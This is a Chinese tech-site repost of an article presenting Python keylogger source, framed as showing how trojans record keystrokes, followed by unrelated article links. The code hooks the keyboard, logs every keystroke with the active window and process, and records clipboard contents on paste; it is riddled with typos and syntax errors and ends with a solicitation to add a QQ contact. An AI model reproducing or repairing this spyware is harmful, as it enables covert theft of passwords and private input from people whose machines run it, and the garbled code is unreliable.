想知道木马程序的键盘记录原理吗?python告诉你 !
前言
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
# -*- coding: utf-8 -*- from ctypes inport import pythoncom import pyHook import win32clipboard user32 = winddll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Note def get_current_process(): #获取最上层的窗句柄 hwnd = user32.GetForegroundWindow() #获取进程ID pid = c_ulong(0) user32. GetwindowThreadProcessId(hwnd,byref(pid)) #将进程ID存入变量中 process_ = "%d" % pid.value #申请内存 executable = create_string_buffer("\x00"*522) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #读取窗口标题 windows_title = create_string_buffer("\x00",512) length = user32.GetWindowTextA(hwnd,byref(windows.title),512) #打印 print print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value) print #关闭handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #关闭键盘监听事件函数 def KeyStroke(event): global current_window #检测目标窗口是否转移(换了其他窗口就监听新窗口) if event,WindowName !=current_window: current_window = event.WindowName #函数调用 get_current_process() #检测击键是否常规按键(非组合键等) if event.Ascii>32 and enent .Ascii <127 : print chr(event.Ascii), else: #如果发现ctrl + V事件,就粘贴板内容记录下来 if event.Key == "V" win32clipboard.OpenClipdoard() pasted_value = win32clipdoard. GetClipdoardData() win32clipdoard.CloseClipboard() print "[PASTE]-%s" %(pasted_value), else: print "[%s]" %event.Key, 循环监听下一个事件 return True #创建并注册hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke #注册hook并兴趣 kl.hookKeyboard() pythoncom.PumpMessages() learning = input("Do you want to learn \python now(Yes or no)") a = str(learning) if a =='Yes' : print('QQ :1346525417 ') eles: print('Tthanks')
学习从来不是一个人的事,欢迎大家留言评论,共同学习,私信加我, 即可领取全套资料

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
怎么规划一个零基础学习Unity3D的“方法”或者“流程”?
学习分为4个阶段 一、朦胧期这个阶段你主要是在朦胧中度过,通常脑子里想的就是,卧槽,这特么是啥?卧槽,这特么又是啥?你看着命令行里面的HelloWorld静静的发呆,第一次能完全打出来的时候脸上会露出 “四国以 ”的表情。这个阶段你需要做的就是和命令行和编译死磕,不断的做练习,将你在视频上看到的那些小例子统统用代码实现 二、学步期有了C#的基础能在后面的引擎学习中有什么用处呢?答:用处不大。那为什么还要那么注重C#基础语言呢,因为语言是贯穿整个引擎一生的必要之物,但是在引擎学习中,主要学习的是引擎中组件和相关功能的用法,和处理问题的思维。比如说,更改一张Image的Color,你要做的首先是要获取到Image,然后通过更改其color属性为自己想要的颜色。说起来很简单但是刚开始进行操作的时候,连怎么获取都是通过在Inspector面板里直接拖取进行获得,此时多学习一些相关的API就完全有必要了。另外,通过几个简单的Demo也能够让自己对这个引擎的运作更感兴趣(或者摧毁掉这份兴趣),建立起后面的学习信心。 三、开化期经过简单的几个小Demo,你已经能够正常的GetComponent或者调...
- 下一篇
Gitter - 高颜值GitHub小程序客户端诞生记
0. 前言 嗯,可能一进来大部分人都会觉得,为什么还会有人重复造轮子,GitHub第三方客户端都已经烂大街啦。确实,一开始我自己也是这么觉得的,也问过自己是否真的有意义再去做这样一个项目。思考再三,以下原因也决定了我愿意去做一个让自己满意的GitHub第三方客户端。 对于时常关注GitHub Trending列表的笔者来说,迫切需要一个更简单的方式随时随地去跟随GitHub最新的技术潮流; 已有的一些GitHub小程序客户端颜值与功能并不能满足笔者的要求; 听说iOS开发没人要了,掌握一门新的开发技能,又何尝不可? 其实也没那么多原因,既然想做,那就去做,开心最重要。 1. Gitter GitHub:https://github.com/huangjianke/Gitter,可能是目前颜值最高的GitHub小程序客户端,欢迎star 数据来源:GitHub API v3 目前实现的功能有: 实时查看Trending 显示用户列表 仓库和用户的搜索 仓库:详情展示、README.md展示、Star/Unstar、Fork、Contributors展示、查看仓库文件内容 开发者:Foll...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Linux系统CentOS6、CentOS7手动修改IP地址
- CentOS关闭SELinux安全模块
- CentOS8安装Docker,最新的服务器搭配容器使用
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
- Hadoop3单机部署,实现最简伪集群
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- Eclipse初始化配置,告别卡顿、闪退、编译时间过长
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- Windows10,CentOS7,CentOS8安装Nodejs环境
- 设置Eclipse缩进为4个空格,增强代码规范